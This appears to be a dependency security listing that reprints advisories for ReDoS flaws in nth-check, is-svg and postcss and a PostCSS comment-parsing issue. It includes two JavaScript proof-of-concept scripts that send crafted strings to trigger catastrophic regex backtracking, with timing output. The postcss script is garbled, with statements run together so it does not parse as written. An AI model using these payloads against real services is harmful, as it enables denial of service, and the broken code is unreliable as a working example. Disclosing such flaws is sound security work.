Version Details and Security Vulnerabilities

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

The is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.

A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.